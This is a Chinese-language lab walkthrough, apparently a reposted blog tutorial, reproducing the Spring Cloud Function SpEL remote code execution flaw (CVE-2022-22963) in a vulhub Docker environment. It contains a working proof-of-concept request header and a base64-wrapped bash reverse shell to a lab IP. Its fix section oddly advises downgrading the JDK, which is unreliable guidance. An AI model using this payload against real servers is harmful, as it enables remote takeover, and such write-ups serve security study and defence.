0x01 声明:
仅供学习参考使用,请勿用作违法用途,否则后果自负。
0x02 简介:
SpringCloud 是一套分布式系统的解决方案,实现就是函数式编程,在视频转码、音视频转换、数据仓库ETL等与状态相关度低的领域运用的比较多。开发者无需关注服务器环境运维等问题上,专注于自身业务逻辑实现即可。
0x03 漏洞概述:
在Spring Cloud Function版本3.1.6,3.2.2和更早的不受支持的版本中,当使用路由功能时,用户可以提供特制的SpEL作为路由表达式,这可能导致远程执行代码和访问本地资源。
0x04 影响版本:
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
0x05 环境搭建:
Docker环境:
参考这篇文章(Docker&Docker-compose环境安装_Evan Kang的博客-CSDN博客)
漏洞环境:
1、下载vulhub(Vulhub环境压缩包-网络安全文档类资源-CSDN文库)
(GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose)
2、进入vulhub/spring/CVE-2022-22963环境
![](https://img-blog.csdnimg.cn/ac79cb84443e4420b5ace02e2287c1de.png)
3、启动docker环境![](https://img-blog.csdnimg.cn/88c97dee19a94dcab2cbfadab794c9e3.png)
4、访问系统(这是一个报错页面不用关系)
0x06 漏洞复现
访问时用Burp拦截。
利用POC:
修改请求方式:
POST /functionRouter HTTP/1.1
添加请求体内容:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xxxx")
xxxx:(为要执行的命令)
如图:
上面执行的为反弹shell命令,经过base64加密之后的内容:(不加密无法成功的)
bash -c {echo,xxx}|{base64,-d}|{bash,-i}
||(Base64)
**bash -i >& /dev/tcp/192.168.16.129/1234 0>&1 **
结果:
0x07 流量分析:
请求特征:
0x08 修复建议:
1、安装官方的补丁
2、降级到 JDK 8 或更低版本,这将消除被攻击的可能性。
版权归原作者 Evan Kang 所有, 如有侵权,请联系我们删除。